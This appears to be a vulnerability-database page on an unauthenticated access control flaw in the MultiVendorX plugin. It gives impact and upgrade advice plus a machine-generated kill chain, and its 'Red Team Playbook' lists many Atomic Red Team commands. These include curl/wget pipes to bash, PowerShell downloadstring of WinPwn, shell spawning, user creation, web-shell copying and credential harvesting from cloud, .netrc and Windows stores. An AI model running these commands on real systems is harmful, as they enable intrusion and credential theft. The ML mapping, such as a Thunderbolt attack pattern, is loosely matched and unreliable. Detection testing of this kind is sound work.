CVE-2026-66441
Overview
The vulnerability is an unauthenticated broken access control flaw affecting MultiVendorX versions up to 5.0.10. The root cause lies in improper enforcement of access control checks on certain backend endpoints, allowing unauthorized users to bypass restrictions. This issue specifically impacts the access control mechanisms within the MultiVendorX plugin's API or administrative functions.
Vulnerability Description
Unauthenticated Broken Access Control in MultiVendorX <= 5.0.10 versions.
Impact
An attacker can exploit this vulnerability without any authentication or user interaction to access sensitive vendor management functions or data within MultiVendorX. This unauthorized access can lead to exposure of confidential business information or manipulation of vendor-related configurations, potentially causing data breaches or operational disruptions in multi-vendor e-commerce environments. The lack of access control enforcement increases the risk of unauthorized data disclosure and privilege escalation within the affected system.
Solution
Upgrade MultiVendorX to version 5.0.11 or later, where the access control enforcement has been corrected. The vendor advisory published on Patchstack provides detailed patch instructions and confirms the fix in version 5.0.11. Users are advised to apply this update promptly to mitigate the vulnerability. Refer to https://patchstack.com/database/wordpress/plugin/dc-woocommerce-multi-vendor/vulnerability/wordpress-multivendorx-plugin-5-0-10-broken-access-control-vulnerability?_s_id=cve for full remediation details.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability characterized by unauthenticated broken access control in MultiVendorX versions up to 5.0.10 presents a significant security risk. This flaw allows unauthorized users to gain access to sensitive resources and functionalities that should be restricted. The underlying issue stems from improper validation of user permissions, which can lead to unauthorized actions being performed by attackers. Such vulnerabilities are particularly dangerous as they do not require any form of authentication, making it easier for malicious actors to exploit them without needing valid credentials.
Attack vectors for this vulnerability are varied and can be executed through multiple means. An attacker could leverage automated scripts or tools to probe the application for endpoints that are not adequately protected. For instance, if an attacker identifies a URL that allows access to administrative functions without proper authentication checks, they could manipulate requests to perform actions like data retrieval, modification, or even deletion. Exploitation scenarios may include accessing sensitive user data, altering system configurations, or executing administrative commands, all of which could lead to severe consequences for the organization.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on MultiVendorX for critical operations. The potential for data breaches is significant, as unauthorized access could expose sensitive customer information, intellectual property, or proprietary business processes. This could lead to financial losses, legal ramifications, and damage to the organization's reputation. Moreover, the exploitation of such vulnerabilities can result in regulatory penalties, especially for organizations subject to data protection laws such as GDPR or HIPAA. The business risk is compounded by the fact that the vulnerability is present in widely used software, increasing the likelihood of targeted attacks.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate access control issues before they can be exploited. Implementing robust logging and monitoring solutions is also critical, as they can provide insights into unauthorized access attempts and help organizations respond swiftly to potential breaches. Additionally, organizations should enforce the principle of least privilege, ensuring that users only have access to the resources necessary for their roles. This can significantly reduce the attack surface and limit the potential impact of any exploitation.
In conclusion, the unauthenticated broken access control vulnerability in MultiVendorX poses a serious threat to organizations utilizing this software. The ease of exploitation, coupled with the potential for significant business impact, underscores the importance of proactive security measures. By prioritizing detection and mitigation strategies, organizations can safeguard their assets and maintain the integrity of their operations in an increasingly hostile cyber landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsActive exploitation confirmed — vendor: MultiVendorX, product: MultiVendorX
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-66441 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/dc-woocommerce-multi-vendor/vulnerability/wordpress-multivendorx-plugin-5-0-10-broken-access-control-vulnerability?_s_id=cve |